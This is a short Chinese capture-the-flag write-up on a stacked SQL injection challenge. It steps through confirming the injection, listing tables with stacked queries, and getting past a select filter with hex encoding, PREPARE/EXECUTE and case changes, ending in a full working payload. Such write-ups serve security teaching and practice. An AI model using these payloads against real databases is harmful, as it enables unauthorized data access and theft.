
堆叠注入、select绕过
判断是否是字符型注入
1'
1'--+
正常回显
1‘ and 1=1--+ 回显
1’ and 1=2--+报错
猜测字符型注入
1' order by 2 回显
1' order by 3
1' union select 1,2,3
select被过滤了
尝试堆叠注入
1';show tables;--+
1';show columns from `1919810931114514`;--+
==关于在这里使用 而不是 ’ 的一些解释:== ==两者在linux下和windows下不同,linux下不区分,windows下区分。== ==单引号 ’ 或双引号主要用于 字符串的引用符号== ==反勾号
数据库、表、索引、列和别名用的是引用符是反勾号==
==有MYSQL保留字作为字段的,必须加上反引号来区分!!!==
==如果是数值,请不要使用引号==
这里在‘1919810931114514’表中找到了关于flag的字段名,现在需要使用select查询flag
尝试绕过select
十六进制编码
1.将select *from 1919810931114514
;十六进制编码得到
73656c656374202a66726f6d206031393139383130393331313134353134603b
2.设置一个变量接收这个字符串,在字符串前加上0x识别为十六进制编码
set@a=0x73656c656374202a66726f6d206031393139383130393331313134353134603b
3.prepare execsql form @a
prepare…from方法将执行后的编码变换成字符串格式
准备执行execsql方法来自a变量的值,from @a代表操作来源是@a
4.execute execsql;
execute方法调用并执行execsql方法
payload为
?inject=1';set@a=0x73656c656374202a66726f6d206031393139383130393331313134353134603b;prepare execsql from @a;execute execsql;#
显示不能同时出现这两个字符串,直接大小写绕过即可
最终payload为
?inject=1';Set@a=0x73656c656374202a66726f6d206031393139383130393331313134353134603b;prepare execsql from @a;execute execsql;#